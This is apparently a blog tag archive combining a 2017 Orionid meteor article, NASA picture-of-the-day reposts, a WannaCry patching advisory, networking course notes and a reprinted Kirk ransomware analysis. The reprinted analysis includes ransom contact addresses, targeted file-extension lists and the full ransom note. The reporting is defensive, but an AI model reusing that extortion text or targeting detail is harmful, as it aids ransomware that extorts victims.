Tag Archives: Science

The Orionids Meteor Shower 2017

THE ORIONID meteor shower promises to dazzle stargazers with a spectacular display of shooting stars TONIGHT. But what is the best time too watch the meteor shower?

When its the Orionids meteor shower? 

If you can’t view it, either it being cloudy or heavey lit area, Slooh will be Live streaming the event from tonight. Join Paul Cox, Dr. Paige Godfrey, and Bob Berman for a decidedly casual and far-ranging chat as as we train our telescopes on the Orionids. SLOOH Live Event of the Orionid Meteor Shower

The Orionids light up the night sky every year towards the end of October in “one of the most beautiful showers of the year”, according to Nasa.

The meteor shower will peak in the early of hours of Saturday (October 20) and once again in the early hours of Sunday (October 22). Sporadic meteors have already been dashing across the night sky from October 15 and should remain visible until November.

During the peak, stargazers can expect anywhere up to 50 meteors per hour, though this year Nasa believes that the numbers may not be as spectacular.

Nasa’s Jane Houston Jones said: “The Orionids peak on October 20, a dark, moonless night. Look near Orion’s club in the hours before dawn and you may see up to 10 to 15 meteors per hour. “Use binoculars to look for bright asteroid 7 Iris in the constellation Aries. Newbies to astronomy should be able to spot this magnitude 6.9 asteroids even from the city.”

What is the best time to view the Orionids meteor shower?

The peak of the Orionids will be visible anywhere on Earth in the early morning hours of tonight and tomorrow night, usually after midnight and just before dawn.

The best time for skywatchers to head outside is usually around 2am when the shower is at its most intense.


Orionids emerging in the Orion constellation
GETTY: Orionids emerge near to the Orion constellation in the sky

Orionids 2017: Shooting star dashing in the sky
GETTY:  Orionids 2017: NASA expects 15-20 meteors an hour during the shower’s peak
Star gazers will be aided this year by the lack of moonlight which should keep the skies clear of any hindering light pollution.

But Storm Brian will make the sky overcast tonight much of the UK as the weather bomb unleashes strong winds and rainstorms.

A Met Office spokesman said: “There’s quite a lot of cloud around this evening and overnight. The best chance of seeing them will be in the early hours before dawn.”  He said that the clearest skies will be from 3am in the eastern part of England across East Anglia, the South East, Lincolnshire and the Midlands.”

To get the best views, stay away from any sources of light pollution and give your eyes some time to adjust to the dark of space.

Where will the Orionid meteor shower appear? 

The Orionids derive their name from there point of origin next to the Orion constellation, which ascends in the east.

But the shower’s radiant point is mostly irrelevant because the meteors will shoot out in all sorts of directions, and usually remain unseen until about 30 degrees from the radiant.

However, if you spot a streaking meteor, you should be able to trace its path back to its origin next to Orion’s club.

What are the Orionids?

The spectacular shooting stars are remnants of the prolific Halley’s Comet, which visits Earth every 74 to 79 years.

When the comet passes through the solar system, chunks (Debris) of ice and rock break off from the comet thanks to the sun, and trail in the comet’s path. The first recorded reports of the shower date back to 1839, when it was spotted in America.

The Orionids are incredibly fast meteors and crash into Earth’s atmosphere at a speed of 66 km/s. Many of the falling stars leave ionised trails of glowing gas in their path.


Photo Of THe Day from NASA


Orionid Meteors – Astronomy Photo of the Day

See Explanation.  Clicking on the picture will download  the highest resolution version available.

Orionid Meteors Over Turkey 
Credit & Copyright: Tunc TezelExplanation: Meteors have been flowing out from the constellation Orion. This was expected, as mid-October is the time of year for the Orionids Meteor Shower. Pictured above, over a dozen meteors were caught in successively added exposures over three hours taken this past weekend from a town near BursaTurkey. The above image shows brilliant multiple meteor streaks that can all be connected to a single point in the sky just above the belt of Orion, called the radiant. The Orionids meteors started as sand sized bits expelled from Comet Halley during one of its trips to the inner Solar System. Comet Halley is actually responsible for two known meteor showers, the other known as the Eta Aquarids and visible every May. Next month, the Leonids Meteor Shower from Comet Tempel-Tuttle might show an even more impressive shower from some locations.


Source:  https://apod.nasa.gov/apod/ap061023.html

Astronomy Picture of the Day – Dark Molecular Cloud Barnard 68

See Explanation.  Clicking on the picture will download
 the highest resolution version available.Dark Molecular Cloud Barnard 68 
Image Credit: FORS Team8.2-meter VLT AntuESOExplanation: Where did all the stars go? What used to be considered a hole in the sky is now known to astronomers as a dark molecular cloud. Here, a high concentration of dust and molecular gas absorb practically all the visible light emitted from background stars. The eerily dark surroundings help make the interiors of molecular clouds some of the coldest and most isolated places in the universe. One of the most notable of these dark absorption nebulae is a cloud toward the constellation Ophiuchus known as Barnard 68pictured here. That no stars are visible in the center indicates that Barnard 68 is relatively nearby, with measurements placing it about 500 light-years away and half a light-year across. It is not known exactly how molecular clouds like Barnard 68 form, but it is known that these clouds are themselves likely places for new stars to form. In fact, Barnard 68 itself has been found likely to collapse and form a new star system. It is possible to look right through the cloud in infrared light.


From: https://apod.nasa.gov/apod/ap171008.html

Astronomy Picture of the Day – Eclipsosaurus Rex

See Explanation.  Clicking on the picture will download
 the highest resolution version available.

Eclipsosaurus Rex 
Image Credit & CopyrightFred Espenak (MrEclipse.com)Explanation: We live in an era where total solar eclipses are possible because at times the apparent size of the Moon can just cover the disk of the Sun. But the Moon is slowly moving away from planet Earth. Its distance is measured to increase about 1.5 inches (3.8 centimeters) per year due to tidal friction. So there will come a time, about 600 million years from now, when the Moon is far enough away that the lunar disk will be too small to ever completely cover the Sun. Then, at best only annular eclipses, a ring of fire surrounding the silhouetted disk of the too small Moon, will be seen from the surface of our fair planet. Of course the Moon was slightly closer and loomed a little larger 100 million years ago. So during the age of the dinosaurs there were more frequent total eclipses of the Sun. In front of the Tate Geological Museum at Casper College in Wyoming, this dinosaur statue posed with a modern total eclipse, though. An automated camera was placed under him to shoot his portrait during the Great American Eclipse of August 21.


From: https://apod.nasa.gov/apod/ap171007.html

Astronomy Picture of the Day – Global Aurora at Mars

See Explanation.  Clicking on the picture will download
 the highest resolution version available.Global Aurora at Mars 
Image Credit: MAVENLASP, University of ColoradoNASAExplanation: A strong solar event last month triggered intense global aurora at Mars. Before (left) and during (right) the solar storm, these projections show the sudden increase in ultraviolet emission from martian aurora, more than 25 times brighter than auroral emission previously detected by the orbiting MAVEN spacecraft. With a sunlit crescent toward the right, data from MAVEN’s ultraviolet imaging spectrograph is projected in purple hues on the right side of Mars globes simulated to match the observation dates and times. On Mars, solar storms can result in planet-wide aurora because, unlike Earth, the Red Planet isn’t protected by a strong global magnetic field that can funnel energetic charged particles toward the poles. For all those on the planet’s surface during the solar storm, dangerous radiation levels were double any previously measured by the Curiosity rover. MAVEN is studying whether Mars lost its atmosphere due to its lack of a global magnetic field.


Source: https://apod.nasa.gov/apod/ap171006.html

WannaCry a Birthday Gift??

I woke up on the 12th of May, it was my birthday, and I looked on the news feed and saw a burst of articles regarding the WannaCry Ransomware that has swept across the globe.

In the last few days, a new type of malware called Wannacrypt has done worldwide damage.  It combines the characteristics of ransomware and a worm and has hit a lot of machines around the world from different enterprises or government organizations:


While everyone’s attention related to this attack has been on the vulnerabilities in Microsoft Windows XP, please pay attention to the following:

  • The attack works on all versions of Windows if they haven’t been patched since the March patch release!
  • The malware can only exploit those vulnerabilities it first has to get on the network.  There are reports it is being spread via email phishing or malicious web sites, but these reports remain uncertain.


Please take the following actions immediately:

  • Make sure all systems on your network are fully patched, particularly servers.
  • As a precaution, please ask all colleagues at your location to be very careful about opening email attachments and minimise browsing the web while this attack is on-going.


The vulnerabilities are fixed by the below security patches from Microsoft which was released in Mar of 2017, please ensure you have patched your systems:


Details of the malware can be found below.  The worm scans port TCP/445 which is the windows SMB services for file sharing:


Preliminary study shows that our environment is not infected based on all hashes and domain found:




MD5 hash:



Per Symantec, here is a full list of the filetypes that are targeted and encrypted by WannaCry:

  • .123
  • .3dm
  • .3ds
  • .3g2
  • .3gp
  • .602
  • .7z
  • .ARC
  • .PAQ
  • .accdb
  • .aes
  • .ai
  • .asc
  • .asf
  • .asm
  • .asp
  • .avi
  • .backup
  • .bak
  • .bat
  • .bmp
  • .brd
  • .bz2
  • .cgm
  • .class
  • .cmd
  • .cpp
  • .crt
  • .cs
  • .csr
  • .csv
  • .db
  • .dbf
  • .dch
  • .der
  • .dif
  • .dip
  • .djvu
  • .doc
  • .docb
  • .docm
  • .docx
  • .dot
  • .dotm
  • .dotx
  • .dwg
  • .edb
  • .eml
  • .fla
  • .flv
  • .frm
  • .gif
  • .gpg
  • .gz
  • .hwp
  • .ibd
  • .iso
  • .jar
  • .java
  • .jpeg
  • .jpg
  • .js
  • .jsp
  • .key
  • .lay
  • .lay6
  • .ldf
  • .m3u
  • .m4u
  • .max
  • .mdb
  • .mdf
  • .mid
  • .mkv
  • .mml
  • .mov
  • .mp3
  • .mp4
  • .mpeg
  • .mpg
  • .msg
  • .myd
  • .myi
  • .nef
  • .odb
  • .odg
  • .odp
  • .ods
  • .odt
  • .onetoc2
  • .ost
  • .otg
  • .otp
  • .ots
  • .ott
  • .p12
  • .pas
  • .pdf
  • .pem
  • .pfx
  • .php
  • .pl
  • .png
  • .pot
  • .potm
  • .potx
  • .ppam
  • .pps
  • .ppsm
  • .ppsx
  • .ppt
  • .pptm
  • .pptx
  • .ps1
  • .psd
  • .pst
  • .rar
  • .raw
  • .rb
  • .rtf
  • .sch
  • .sh
  • .sldm
  • .sldx
  • .slk
  • .sln
  • .snt
  • .sql
  • .sqlite3
  • .sqlitedb
  • .stc
  • .std
  • .sti
  • .stw
  • .suo
  • .svg
  • .swf
  • .sxc
  • .sxd
  • .sxi
  • .sxm
  • .sxw
  • .tar
  • .tbk
  • .tgz
  • .tif
  • .tiff
  • .txt
  • .uop
  • .uot
  • .vb
  • .vbs
  • .vcd
  • .vdi
  • .vmdk
  • .vmx
  • .vob
  • .vsd
  • .vsdx
  • .wav
  • .wb2
  • .wk1
  • .wks
  • .wma
  • .wmv
  • .xlc
  • .xlm
  • .xls
  • .xlsb
  • .xlsm
  • .xlsx
  • .xlt
  • .xltm
  • .xltx
  • .xlw
  • .zip

As you can see, the ransomware covers nearly any important file type a user might have on his or her computer. It also installs a text file on the user’s desktop with the following ransom note:


Additional Resources for Week 3 RITx: CYBER501x Cybersecurity Fundamentals

Kerckhoff’s Principle


This video explains how the RSA public key and private key are created to be fully dependent on each other. The first part of the video explains the concepts with paint and colors. The second part contains heavy duty math, which may not be as easily understood:


These links detail the Heartbleed bug from 2014. This vulnerability shows that even though data is protected both in transit and at rest with encryption, data that is being processed is not protected. The encrypted data needs to be decrypted before it’s processed, and therefore is vulnerable at this stage.


Week 3 Additional Resources

Netmask Translation Table

This is a Netmask Translation Table. It can be used to determine what IPs should be used and which ones cannot be used.

Netmask                CIDR         Notes
=====================================================================        /32          Host (single address)        /31          Unusable        /30            4 IPs with   2 Usable        /29            8 IPs with   6 Usable        /28           16 IPs with  14 Usable        /27           32 IPs with  30 Usable        /26           64 IPs with  62 Usable        /25          128 IPs with 126 Usable          /24         256 IPs with  254 Usable "Class C"

Note: The first and last IP of a series are NOT usable and the first  
usable IP is normally set up for the router.
The 1st IP is the network address. The last IP is the broadcast address.

Each customer will be given their own unique IP block necessary to configure their own network. This unique IP information will be supplied by their Account Manager.

The below is only an EXAMPLE, do NOT use its IPs, instead, use those IP numbers that come from your Account Manager.

Your Account Manager should give you all the following information.

Dear Customer:

Your IP block is

Gateway IP address (Router IP)
Useable IP's              
Subnet Mask               

DNS Servers:    ns.cais.com

Subnetmask Translation Table

This is a Netmask Translation Table. It can be used to determine what IPs should be used and which ones cannot be used.

Subnetmask            Subnetmask (binary)                    CIDR         Notes
=================================================================================================       11111111.11111111.11111111.11111111    /32          Host (single address)       11111111.11111111.11111111.11111110    /31          Unusable       11111111.11111111.11111111.11111100    /30            4 IPs with   2 Usable       11111111.11111111.11111111.11111000    /29            8 IPs with   6 Usable       11111111.11111111.11111111.11110000    /28           16 IPs with  14 Usable       11111111.11111111.11111111.11100000    /27           32 IPs with  30 Usable       11111111.11111111.11111111.11000000    /26           64 IPs with  62 Usable       11111111.11111111.11111111.10000000    /25          128 IPs with 126 Usable         11111111.11111111.11111111.00000000    /24         256 IPs with  254 Usable 
                                                                                "Class C"         11111111.11111111.11111110.00000000    /23         11111111.11111111.11111100.00000000    /22         11111111.11111111.11111000.00000000    /21         11111111.11111111.11110000.00000000    /20         11111111.11111111.11100000.00000000    /19         11111111.11111111.11000000.00000000    /18         11111111.11111111.10000000.00000000    /17           11111111.11111111.00000000.00000000    /16         
                                                                                "Class B"           11111111.11111110.00000000.00000000    /15           11111111.11111100.00000000.00000000    /14           11111111.11111000.00000000.00000000    /13           11111111.11110000.00000000.00000000    /12           11111111.11100000.00000000.00000000    /11           11111111.11000000.00000000.00000000    /10           11111111.10000000.00000000.00000000    /9              11111111.00000000.00000000.00000000    /8         
                                                                                "Class A"             11111110.00000000.00000000.00000000    /7             11111100.00000000.00000000.00000000    /6             11111000.00000000.00000000.00000000    /5             11110000.00000000.00000000.00000000    /4             11100000.00000000.00000000.00000000    /3             11000000.00000000.00000000.00000000    /2             10000000.00000000.00000000.00000000    /1                00000000.00000000.00000000.00000000    /0         
                                                                                IP space

Note: The first and last IP of a series are NOT usable and the first  
usable IP is normally set up for the router.
The 1st IP is the network address. The last IP is the broadcast address.

Star Trek – Ransomware Brings us Monero and a Spock Decryptor!

Boldly going where no man has gone before, the Kirk Ransomware brings so much nerdy goodness to the table that it could make anyone in IT interested. We have Star Trek, Low Orbital Ion Cannons, a cryptocurrency payment other than Bitcoin, and a decryptor named Spock! Need I say more?

Discovered today by Avast malware researcher Jakub Kroustek, the Kirk Ransomware is written in Python and may be the first ransomware to utilize Monero as the ransom payment of choice.

Kirk Ransomware

At this time there are no known victims of this ransomware and it does not appear to be decryptable.  For those who want to discuss this ransomware or receive updates about it, they can subscribe to our Kirk Ransomware Support & Help topic.

Kirk Ransomware uses Monero for Ransom Payments

Ever since Monero was released, it has been highly touted as a more secure and anonymous payment system than Bitcoin. This has caused  underground criminal sites, like AlphaBay, to accept it as payment and for criminals to mine it using mining Trojans. It was only a matter of time until ransomware developers started requesting it.

For possibly the first time, with the release of Kirk Ransomware, Monero has been introduced as a ransom payment. The problem is that this is only going to confuse victims even more. Even with Bitcoin becoming more accepted, it is still not easy to acquire them. By introducing a new cryptocurrency into the mix, victims are just going to become more confused and make paying ransoms even more difficult.

How the Kirk Ransomware Encrypts a Computer

While it is not currently known how the Kirk Ransomware is being distributed, we do know that it is masquerading as the network stress tool called Low Orbital Ion Cannon.  Currently named loic_win32.exe, when executed Kirk Ransomware will now generate a AES password that will be used to encrypt a victim’s files. This AES key will then be encrypted by an embedded RSA-4096 public encryption key and saved in the file called pwd in the same directory as the ransomware executable.

If you plan on paying the ransom for the Kirk Ransomware, you must not delete the pwd file as it contains an encrypted version of your decryption key. Only the ransomware developer can decrypt this file and if a victim wishes to pay the ransom they will be required to send them this file.

Below is the current embedded RSA key used to encrypt the victim’s encryption key.

-----END PUBLIC KEY-----

Kirk Ransomware will now display a message box that displays the same slogan as the LOIC network stress tool. This slogan is: “Low Orbital Ion Cannon | When harpoons, air strikes and nukes fail | v1.0.1.0”.

Fake Low Orbital Ion Cannon Alert
Fake Low Orbital Ion Cannon Alert

At this point, the ransomware infection will begin to scan the C: drive for files that have certain file extensions. At the time of this writing, Kirk Ransomware targets 625 file types, which are listed at the end of the article.

If a matching file is detected, it will encrypt it using the previously created AES encryption key and then append the .kirked extension to the encrypted file’s name. For example, a file called test.jpg would be encrypted and renamed to test.jpg.kirked.

When the ransomware finishes encrypting the files it will drop a ransom note called RANSOM_NOTE.txt in the same folder as the executable. It will also display the ransom note in a Window on your desktop. A full version of the ransom note can be see at the end of the article.

This ransom note tells the victim that they must purchase ~1,100 worth of the Monero currency and send it to the enclosed Monero address. Once a payment is made, the victim must email the pwd file and the payment transaction ID to the kirk.help@scryptmail.com or kirk.payments@scryptmail.com email addresses to receive the decryptor.

The Spock Decryptor

This wouldn’t be a Star Trek themed ransomware without Spock. The developer agrees as they have named the decryptor “Spock” and it will be supplied to the victim once a a payment is made.

The Spock Decryptor

At this time we have not seen a sample of the decryptor, so cannot provide more info regarding it.

As previously said, unfortunately at this time the ransomware does not look like it can be decrypted.  For those who want to discuss this ransomware or receive updates about it, they can subscribe to our Kirk Ransomware Support & Help topic.



Files associated with the Kirk Ransomware:



SHA256: 39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc

Targeted File Extensions:

.cfr,  .ytd,  .sngw,  .tst,  .skudef,  .dem,  .sims3pack,  .hbr,  .hkx,  .rgt,  .ggpk,  .ttarch2,  .hogg,  .spv,  .bm2,  .lua,  .dff,  .save,  .rgssad,  .scm,  .aud,  .rxdata,  .mcmeta,  .bin,  .mpqe,  .rez,  .xbe,  .grle,  .bf,  .iwd,  .vpp_pc,  .scb,  .naz,  .m2,  .xpk,  .sabs,  .nfs13save,  .gro,  .emi,  .wad,  .15,  .vfs,  .drs,  .taf,  .m4s,  .player,  .umv,  .sgm,  .ntl,  .esm,  .qvm,  .arch00,  .tir,  .bk,  .sabl,  .bin,  .opk,  .vfs0,  .xp3,  .tobj,  .rcf,  .sga,  .esf,  .rpack,  .DayZProfile,  .qsv,  .gam,  .bndl,  .u2car,  .psk,  .gob,  .lrf,  .lts,  .iqm,  .i3d,  .acm,  .SC2Replay,  .xfbin,  .db0,  .fsh,  .dsb,  .cry,  .osr,  .gcv,  .blk,  .4,  .lzc,  .umod,  .w3x,  .mwm,  .crf,  .tad,  .pbn,  .14,  .ppe,  .ydc,  .fmf,  .swe,  .nfs11save,  .tgx,  .trf,  .atlas,  .20,  .game,  .rw,  .rvproj2,  .sc1,  .ed,  .lsd,  .pkz,  .rim,  .bff,  .gct,  .9,  .fpk,  .pk3,  .osf,  .bns,  .cas,  .lfl,  .rbz,  .sex,  .mrm,  .mca,  .hsv,  .vpt,  .pff,  .i3chr,  .tor,  .01,  .utx,  .kf,  .dzip,  .fxcb,  .modpak,  .ydr,  .frd,  .bmd,  .vpp,  .gcm,  .frw,  .baf,  .edf,  .w3g,  .mtf,  .tfc,  .lpr,  .pk2,  .cs2,  .fps,  .osz,  .lnc,  .jpz,  .tinyid,  .ebm,  .i3exec,  .ert,  .sv4,  .cbf,  .oppc,  .enc,  .rmv,  .mta,  .otd,  .pk7,  .gm,  .cdp,  .cmg,  .ubi,  .hpk,  .plr,  .mis,  .ids,  .replay_last_battle,  .z2f,  .map,  .ut4mod,  .dm_1,  .p3d,  .tre,  .package,  .streamed,  .l2r,  .xbf,  .wep,  .evd,  .dxt,  .bba,  .profile,  .vmt,  .rpf,  .ucs,  .lab,  .cow,  .ibf,  .tew,  .bix,  .uhtm,  .txd,  .jam,  .ugd,  .13,  .dc6,  .vdk,  .bar,  .cvm,  .wso,  .xxx,  .zar,  .anm,  .6,  .ant,  .ctp,  .sv5,  .dnf,  .he0,  .mve,  .emz,  .e4mod,  .gxt,  .bag,  .arz,  .tbi,  .itp,  .i3animpack,  .vtf,  .afl,  .ncs,  .gaf,  .ccw,  .tsr,  .bank,  .lec,  .pk4,  .psv,  .los,  .civ5save,  .rlv,  .nh,  .sco,  .ims,  .epc,  .rgm,  .res,  .wld,  .sve,  .db1,  .dazip,  .vcm,  .rvm,  .eur,  .me2headmorph,  .azp,  .ags,  .12,  .slh,  .cha,  .wowsreplay,  .dor,  .ibi,  .bnd,  .zse,  .ddsx,  .mcworld,  .intr,  .vdf,  .mtr,  .addr,  .blp,  .mlx,  .d2i,  .21,  .tlk,  .gm1,  .n2pk,  .ekx,  .tas,  .rav,  .ttg,  .spawn,  .osu,  .oac,  .bod,  .dcz,  .mgx,  .wowpreplay,  .fuk,  .kto,  .fda,  .vob,  .ahc,  .rrs,  .ala,  .mao,  .udk,  .jit,  .25,  .swar,  .nav,  .bot,  .jdf,  .32,  .mul,  .szs,  .gax,  .xmg,  .udm,  .zdk,  .dcc,  .blb,  .wxd,  .isb,  .pt2,  .utc,  .card,  .lug,  .JQ3SaveGame,  .osk,  .nut,  .unity,  .cme,  .elu,  .db7,  .hlk,  .ds1,  .wx,  .bsm,  .w3z,  .itm,  .clz,  .zfs,  .3do,  .pac,  .dbi,  .alo,  .gla,  .yrm,  .fomod,  .ees,  .erp,  .dl,  .bmd,  .pud,  .ibt,  .24,  .wai,  .sww,  .opq,  .gtf,  .bnt,  .ngn,  .tit,  .wf,  .bnk,  .ttz,  .nif,  .ghb,  .la0,  .bun,  .11,  .icd,  .z3,  .djs,  .mog,  .2da,  .imc,  .sgh,  .db9,  .42,  .vis,  .whd,  .pcc,  .43,  .ldw,  .age3yrec,  .pcpack,  .ddt,  .cok,  .xcr,  .bsp,  .yaf,  .swd,  .tfil,  .lsd,  .blorb,  .unr,  .mob,  .fos,  .cem,  .material,  .lfd,  .hmi,  .md4,  .dog,  .256,  .eix,  .oob,  .cpx,  .cdata,  .hak,  .phz,  .stormreplay,  .lrn,  .spidersolitairesave-ms,  .anm,  .til,  .lta,  .sims2pack,  .md2,  .pkx,  .sns,  .pat,  .tdf,  .cm,  .mine,  .rbn,  .uc,  .asg,  .raf,  .myp,  .mys,  .tex,  .cpn,  .flmod,  .model,  .sfar,  .fbrb,  .sav2,  .lmg,  .tbc,  .xpd,  .bundledmesh,  .bmg,  .18,  .gsc,  .shader_bundle,  .drl,  .world,  .rwd,  .rwv,  .rda,  .3g2,  .3gp,  .asf,  .asx,  .avi,  .flv,  .ai,  .m2ts,  .mkv,  .mov,  .mp4,  .mpg,  .mpeg,  .mpeg4,  .rm,  .swf,  .vob,  .wmv,  .doc,  .docx,  .pdf,  .rar,  .jpg,  .jpeg,  .png,  .tiff,  .zip,  .7z,  .dif.z,  .exe,  .tar.gz,  .tar,  .mp3,  .sh,  .c,  .cpp,  .h,  .mov,  .gif,  .txt,  .py,  .pyc,  .jar,  .csv,  .psd,  .wav,  .ogg,  .wma,  .aif,  .mpa,  .wpl,  .arj,  .deb,  .pkg,  .db,  .dbf,  .sav,  .xml,  .html,  .aiml,  .apk,  .bat,  .bin,  .cgi,  .pl,  .com,  .wsf,  .bmp,  .bmp,  .gif,  .tif,  .tiff,  .htm,  .js,  .jsp,  .php,  .xhtml,  .cfm,  .rss,  .key,  .odp,  .pps,  .ppt,  .pptx,  .class,  .cd,  .java,  .swift,  .vb,  .ods,  .xlr,  .xls,  .xlsx,  .dot,  .docm,  .dotx,  .dotm,  .wpd,  .wps,  .rtf,  .sdw,  .sgl,  .vor,  .uot,  .uof,  .jtd,  .jtt,  .hwp,  .602,  .pdb,  .psw,  .xlw,  .xlt,  .xlsm,  .xltx,  .xltm,  .xlsb,  .wk1,  .wks,  .123,  .sdc,  .slk,  .pxl,  .wb2,  .pot,  .pptm,  .potx,  .potm,  .sda,  .sdd,  .sdp,  .cgm,  .wotreplay,  .rofl,  .pak,  .big,  .bik,  .xtbl,  .unity3d,  .capx,  .ttarch,  .iwi,  .rgss3a,  .gblorb,  .xwm,  .j2e,  .mpk,  .xex,  .tiger,  .lbf,  .cab,  .rx3,  .epk,  .vol,  .asset,  .forge,  .lng,  .sii,  .litemod,  .vef,  .dat,  .papa,  .psark,  .ydk,  .mpq,  .wtf,  .bsa,  .re4,  .dds,  .ff,  .yrp,  .pck,  .t3,  .ltx,  .uasset,  .bikey,  .patch,  .upk,  .uax,  .mdl,  .lvl,  .qst,  .ddv,  .pta

Ransom Note Text:

                     :xxoc;;,..                                        .
                    cWW0olkNMMMKdl;.                       .;llxxklOc,'
                   oWMKxd,  .,lxNKKOo;.                  :xWXklcc;.     ...'.
           k      lMMNl   .    ON.                         :c.             ''.  ':....
          .WXc   ;WMMMXNNXKKxdXMM.                                                .    .
          .NdoK: XMMMMMMMMMMMMMMM;oo;                                ...;,cxxxll.       .
          .WX.K0'WMMMWMMMMMWMNXWMooMWNO'                         ..,;OKNWWWWMMMMMXk:.
           KK:xKKWMMMXNMMMMW;  .. :WNKd,                ..    .'cdOXKXNNNNNWWMMMMMMMW0,
           lNMXXMMMMMMMMWWMMWKk,  ;0k'                    .,cxxk0K0O0XXWWMMMMMMMMMMMMMMX:..   ..
            ..,;XMMMMMMMWXWWK0KK: .;.                    .:lddddxOOO0XWMMMMMMMMMMMMMMMMMMO.    .,
              .kKXMMMMMWkoxolcc;..                      .':loodxO00OO0NNXNWMMMMMMMMMMMMMMMN;     '.
              .MK;kWMMMWWKOc.  .                        ..';cdxkKNX0kOOOKNMMMMMMMMMMMMMMMMMW:    .
              ,MW:,:x0NMMMMWW0x'                          ..,:dXNWW0xkkKWMMMMMMMMMMMMMMMMMMWk.  ..
              oMMN;    ;odoccc;c:.                         ...lXWWMOok0NMMMMMWNXKXKXWMMMMMMMOc.
              XMMMX,                                    ....';lldkWkodK0loc'.  .'lxx0kOKNMMMXo.
            'XMMMMMNc                                            .dldXWx.      ..,,coOXOkXMMMK,
       ,.   .:dk0KNWMk.                                 ...        .kWMK,.  ..:c .:.. .0MWMMMMO.
  .':x0K0:.          ..   .                                 .      .OWMNNXO:cccdxKXWMW0o0WWMMMM;.
 00000000000kdl:,'.                                      ..'o00l   'KMMNKNWWNKXWWMMMMMMMMMMMMMM0.
 0000000000000000000Oxl:'                                .;xKWWx  .xNMMMWNMMMMMMMMMMMMMMMMMMMMMMl
 0000000000000000000000000x;. ..,::,.                  .ck0KKk'   '0WMMMMMMMWWMMMMMMMMMMMMMMMMMM0.   .'
 0000000000000000000000000000Oxdllc:;,....,'...       .cdkOko:     ,cOKKXWMMMKd0WMMMMMMMMMMMMMWW0. 'Kc:,
 000000000000000000000000000000000OkkkxdoodxOkoooool   .;okOx,       .,'...cKMXl'oKWMMMMMMMWWNXN0  'MMc0.
 0000OO000000000000000000000000000000000000000kc.      .:dk0c         ,KNKxdKMMM0;;kMMMMMMMMWNKXO  ,kW0xl
 OdloxO000000000000000000000000000000000000000000x,     .,ll;      .lokKWMMMMMMMMM0xNMMMMMMMNXXNo.xK;cXKx
 lx000000000000000000000000000000000000000000000000l     .'..    .'cKWXOXMMMMMMMMMMMMMMMMMWWNXXNKX0MNkNK0..
 00000000000000000000000000000000000000000000000000O      ..    ..,;ok0X000KKXWMNNMMMMMMMMNNXKKXX00MMMWWc',
 00000000000000000000000000000000000000000000000000d              .. ..........;;.cKMMMMMWNXKKXNKxkNMMX,
 000000000000000000000000000000000000000Ko.0000000Ol                .'::odkkOOOxxxoxNMMMMNNWNXKK0k..;'
 0000000000000000000000000000000000000000..:000000kl             .:coododkXWMMMMMMMWWMMMNNNNNKOkkx:
 :;ok00000000000000000000000000000000000O.;.d00000dc        ...   .........cONMMMMMMMMMNXXXN0dlddxN.
 .dk000000000000000000000000000000000000;ld,.O00kocc        ..    ...,;::lokKNMMMMMMMMWKOO0OxloocxM:
 OO0000000000000000000000000000000000000ol0Koc0xc:ll  .         ..;lxO0XNNMMMMMMMMMMMN0xoxOdl::,;0Md
 :;,'..;loxk000000000000000000000000000000000lx..loo ,0          .'';lkKKNMMMMMMMMMNOd:;lc:;'..,kWMK
 cccldxkkkO00Okdooddxk00000000000000000000000Oc'lddl dK,            .':ollokOOOOOOOc'.........lXMMMM,
 000000kdoc,....;cldkO0000000000000000000000Okdodddo'K0'.                   .......        .oKMMMMMM0
 :,'....',;:ldkO0000000000000000000000000000Okxodddd;Xk,...                              .l0NMMMMMMMM:
 OO000000000000000000000000000000000000000000OkodxxxoXo,,,..                           .:kKWMMMMMMMMMW'
 dO0000000000000000000000000000000000000000000OodxxxkKl;,,,,                          'dOKWMMMMMMMMMMMX

      _  _____ ____  _  __   ____      _    _   _ ____   ___  __  ____        ___    ____  _____ 
     | |/ /_ _|  _ \| |/ /  |  _ \    / \  | \ | / ___| / _ \|  \/  \ \      / / \  |  _ \| ____|
     | ' / | || |_) | ' /   | |_) |  / _ \ |  \| \___ \| | | | |\/| |\ \ /\ / / _ \ | |_) |  _|  
     | . \ | ||  _ <| . \   |  _ <  / ___ \| |\  |___) | |_| | |  | | \ V  V / ___ \|  _ <| |___ 
     |_|\_\___|_| \_\_|\_\  |_| \_\/_/   \_\_| \_|____/ \___/|_|  |_|  \_/\_/_/   \_\_| \_\_____|

Oh no! The Kirk ransomware has encrypted your files!



Your computer has fallen victim to the Kirk malware and important files have been encrypted - locked
up so they don't work. This may have broken some software, including games, office suites etc.

Here's a list of some the file extensions that were targetted:

    .3g2      .rar      .jar      .cgi      .class    .jtd      .potx     .xex      .dds      
    .3gp      .jpg      .csv      .pl       .cd       .jtt      .potm     .tiger    .ff       
    .asf      .jpeg     .psd      .com      .java     .hwp      .sda      .lbf      .yrp      
    .asx      .png      .wav      .wsf      .swift    .602      .sdd      .cab      .pck      
    .avi      .tiff     .ogg      .bmp      .vb       .pdb      .sdp      .rx3      .t3       
    .flv      .zip      .wma      .bmp      .ods      .psw      .cgm      .epk      .ltx      
    .ai       .7z       .aif      .gif      .xlr      .xlw      .wotreplay.vol      .uasset   
    .m2ts     .dif.z    .mpa      .tif      .xls      .xlt      .rofl     .asset    .bikey    
    .mkv      .exe      .wpl      .tiff     .xlsx     .xlsm     .pak      .forge    .patch    
    .mov      .tar.gz   .arj      .htm      .dot      .xltx     .big      .lng      .upk      
    .mp4      .tar      .deb      .js       .docm     .xltm     .bik      .sii      .uax      
    .mpg      .mp3      .pkg      .jsp      .dotx     .xlsb     .xtbl     .litemod  .mdl      
    .mpeg     .sh       .db       .php      .dotm     .wk1      .unity3d  .vef      .lvl      
    mpeg4     .c        .dbf      .xhtml    .wpd      .wks      .capx     .dat      .qst      
    .rm       .cpp      .sav      .cfm      .wps      .123      .ttarch   .papa     .ddv      
    .swf      .h        .xml      .rss      .rtf      .sdc      .iwi      .psark    .pta      
    .vob      .mov      .html     .key      .sdw      .slk      .rgss3a   .ydk                
    .wmv      .gif      .aiml     .odp      .sgl      .pxl      .gblorb   .mpq                
    .doc      .txt      .apk      .pps      .vor      .wb2      .xwm      .wtf                
    .docx     .py       .bat      .ppt      .uot      .pot      .j2e      .bsa                
    .pdf      .pyc      .bin      .pptx     .uof      .pptm     .mpk      .re4                

There are an additional 441 file extensions that are targetted. They are mostly to do with games.

To get your files back, you need to pay. Now. Payments recieved more than 48 hours after the time of
infection will be charged double. Further time penalties are listed below. The time of infection has
been logged.

Any files with the extensions listed above will now have the extra extension '.kirked', these files
are encrypted using military grade encryption.

